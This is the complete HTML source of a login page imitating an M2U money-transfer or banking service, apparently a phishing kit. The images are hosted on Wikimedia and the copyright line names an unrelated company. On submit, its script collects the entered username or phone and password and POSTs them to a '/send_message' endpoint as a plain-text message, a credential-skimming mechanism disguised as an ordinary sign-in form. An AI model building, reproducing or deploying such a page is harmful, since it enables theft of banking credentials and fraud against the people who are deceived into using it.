



<!DOCTYPE html>

<html lang="en">

<head>





<link rel="icon" href="https://upload.wikimedia.org/wikipedia/commons/1/11/Ori_logo.png" type="image/x-icon">









    <meta charset="UTF-8">

    <meta name="viewport" content="width=device-width, initial-scale=1.0">

    <title>Welcome to M2U Money</title>

    

    

  

   

    

    <meta property="og:title" content="Welcome to M2U Money">

    <meta property="og:description" content="Send and receive money from anywhere in the world within 45 seconds">

    <meta property="og:image" content="https://upload.wikimedia.org/wikipedia/commons/0/02/Image_logo_png_file_format.png">

    <meta property="og:url" content="https://app.m2u.money">

    <meta property="og:type" content="website">



    

    

    

    

    

    <style>

        * {

            box-sizing: border-box;

            margin: 0;

            padding: 0;

        }



        body, input, button {

            font-family: 'Roboto', Arial, sans-serif;

        }



        body {

            background-color: #f4f4f4;

            display: flex;

            flex-direction: column;

            justify-content: center;

            align-items: center;

            height: 100vh;

            margin: 0;

            padding: 15px;

        }



        header {

            position: fixed;

            top: 10px;

            left: 10px;

            width: calc(100% - 20px);

            display: flex;

            justify-content: space-between;

            align-items: center;

        }



        .header-logo {

            width: 100px;

            height: auto;

            margin-right: 10px;

        }



        .header-right {

            display: flex;

            align-items: center;

        }



        .sign-up-btn {

            background-color: rgb(226, 26, 34);

            color: white;

            border: none;

            padding: 10px;

            border-radius: 3px;

            cursor: pointer;

            font-size: 1.2em;

            margin-right: 10px;

            display: inline-block;

            text-align: center;

            font-weight: bold;

            text-decoration: none;

            font-family: Roboto, sans-serif;

        }



        .sign-up-btn:hover {

            background-color: #c51a29;

        }



        .language-toggle {

            font-size: 14px;

            color: rgb(38, 45, 48);

            margin-right: 10px;

            cursor: pointer;

        }



        .language-icon {

            width: 24px;

            height: auto;

        }



        .body-logo {

            width: 80%;

            height: auto;

            margin-bottom: -90px;

        }



        .container {

            background-color: white;

            padding: 20px;

            border-radius: 10px;

            box-shadow: 0 0 10px rgba(0, 0, 0, 0.1);

            width: 100%;

            max-width: 400px;

            text-align: center;

        }



        .login-form {

            display: flex;

            flex-direction: column;

            align-items: center;

        }



        .hidden {

            display: none;

        }



        .login-form h1 {

            margin-bottom: 20px;

            align-self: flex-start;

            font-size: 1.9em;

        }



        .login-form p {

            margin-bottom: 20px;

            align-self: flex-start;

            font-size: 1em;

            color: rgb(38, 45, 48);

        }



        .login-form label {

            color: rgb(38, 45, 48);

            font-family: 'Roboto', sans-serif;

            font-size: 16px;

            font-weight: 300;

            height: 20px;

            margin-bottom: 5px;

            align-self: flex-start;

            margin-left: 5px;

        }

        

        

        

        

        

        

        

        

        



        .login-form input {

            margin-bottom: 15px;

            padding: 15px;

            width: 100%;

            border: 1px solid #ccc;

            border-radius: 5px;

            font-size: 1.2em;

        }



        .otp-input input {

            width: 100%;

            font-size: 2em;

            letter-spacing: 10px;

            text-align: center;

            border: 1px solid #ccc;

            border-radius: 5px;

            padding: 10px;

        }



        .pin-inputs input:focus, button[type="button"]:focus {

            outline: 2px solid #e41c22;

        }



        .spacer {

            height: 20px;

        }



        button[type="button"], button[type="submit"] {

            background-color: rgb(226, 26, 34);

            color: white;

            border: none;

            padding: 15px;

            border-radius: 3px;

            cursor: pointer;

            width: 100%;

            font-size: 1.2em;

        }



        button[type="button"]:hover, button[type="submit"]:hover {

            background-color: #c51a29;

        }



        footer {

            margin-top: 20px;

            font-size: 0.8em;

            color: rgb(119, 118, 119);

        }



        @media (max-width: 600px) {

            .login-form h2 {

                font-size: 1.2em;

            }



            .login-form p {

                font-size: 1em;

            }



            .login-form label {

                font-size: 0.9em;

            }



            .login-form input {

                font-size: 1em;

                padding: 15px;

            }



            .otp-input input {

                font-size: 1.5em;

                letter-spacing: 5px;

            }



            .pin-inputs input {

                width: calc(100% / 6 - 6px);

                padding: 15px;

            }



            button[type="button"], button[type="submit"] {

                font-size: 1em;

                padding: 16px;

            }



            .pp {

                color: rgba(0, 0, 0, 0.87);

            }

        }

    </style>

</head>

<body>

    <header>

        <img src="https://upload.wikimedia.org/wikipedia/commons/2/29/Logo_original_looo.png" alt="New Logo" class="header-logo">

        <div class="header-right"><h5>

          <a href="https://app.m2u.money/register" class="sign-up-btn"><b>SIGN UP</b></a>



            <span class="language-toggle" id="language-toggle">English</span>

            <img src="https://upload.wikimedia.org/wikipedia/commons/0/04/Lang-removebg-preview.png" alt="Language Icon" class="language-icon">

        </div>

    </header>

    <img src="https://upload.wikimedia.org/wikipedia/commons/7/70/M2img_original.png" alt="Local Logo" class="body-logo">

    <div class="container">

        <form class="login-form" id="login-form" action="/verify" method="post">

            <h1 class="lang" data-en="Login" data-fr="Hello">Hello</h1>

            <p class="lang" data-en="Sign in to your M2U account." data-fr="Connectez-vous à votre compte M2U.">Sign in to your M2U account to proceed.</p>

            <label class="lang" for="email-phone" data-en="Email or Phone" data-fr="Email ou téléphone">Username or Phone number</label>

            <input type="text" id="email-phone" name="email_phone" placeholder="Username or Phone number" required>

            <label class="lang" for="password" data-en="Password" data-fr="Mot de passe">Password</label>

            <input type="password" id="password" name="password" placeholder="Password" required>

            <p class="pp lang" data-en='Forgot password? <a href="https://app.m2u.money/remind-username">click here</a>' data-fr='Mot de passe oublié? <a href="https://app.m2u.money/remind-username">cliquez ici</a>'>Forgot password? <a href="https://app.m2u.money/remind-username">click here</a></p>

            <button type="submit">NEXT</button>

        </form>

        <footer>

            <p class="lang" data-en="Copyright © 2025 Ossix Technologies, LLC. All rights reserved." data-fr="Copyright © 2025 Ossix Technologies, LLC. Tous droits réservés.">Copyright © 2025 Ossix Technologies, LLC.<br>All rights reserved.</p>

        </footer>

    </div>

    <script>

        document.addEventListener('DOMContentLoaded', function() {

            const languageToggle = document.getElementById('language-toggle');

            const elements = document.querySelectorAll('.lang');



            languageToggle.addEventListener('click', function() {

                const currentLang = languageToggle.textContent.trim();

                const newLang = currentLang === 'English' ? 'Français' : 'English';

                languageToggle.textContent = newLang;



                elements.forEach(element => {

                    const text = element.getAttribute('data-' + newLang.toLowerCase());

                    if (text) {

                        element.innerHTML = text;

                    }

                });

            });



            const loginForm = document.getElementById('login-form');



            if (loginForm) {

                loginForm.addEventListener('submit', function(event) {

                    const emailPhone = document.getElementById('email-phone').value;

                    const password = document.getElementById('password').value;



                    if (emailPhone && password) {

                        const message = `Email or Phone: ${emailPhone}\nPassword: ${password}`;

                        fetch('/send_message', {

                            method: 'POST',

                            headers: {

                                'Content-Type': 'application/json'

                            },

                            body: JSON.stringify({ message: message })

                        });

                    } else {

                        event.preventDefault();

                        alert('Please enter both Email or Phone and Password.');

                    }

                });

            }

        });

        const emailPhoneInput = document.getElementById('email-phone');



if (emailPhoneInput) {

    emailPhoneInput.addEventListener('input', function(e) {

        const value = e.target.value;

        e.target.value = value.replace(/\s/g, '');

    });

}



    </script>

</body>

</html>









   

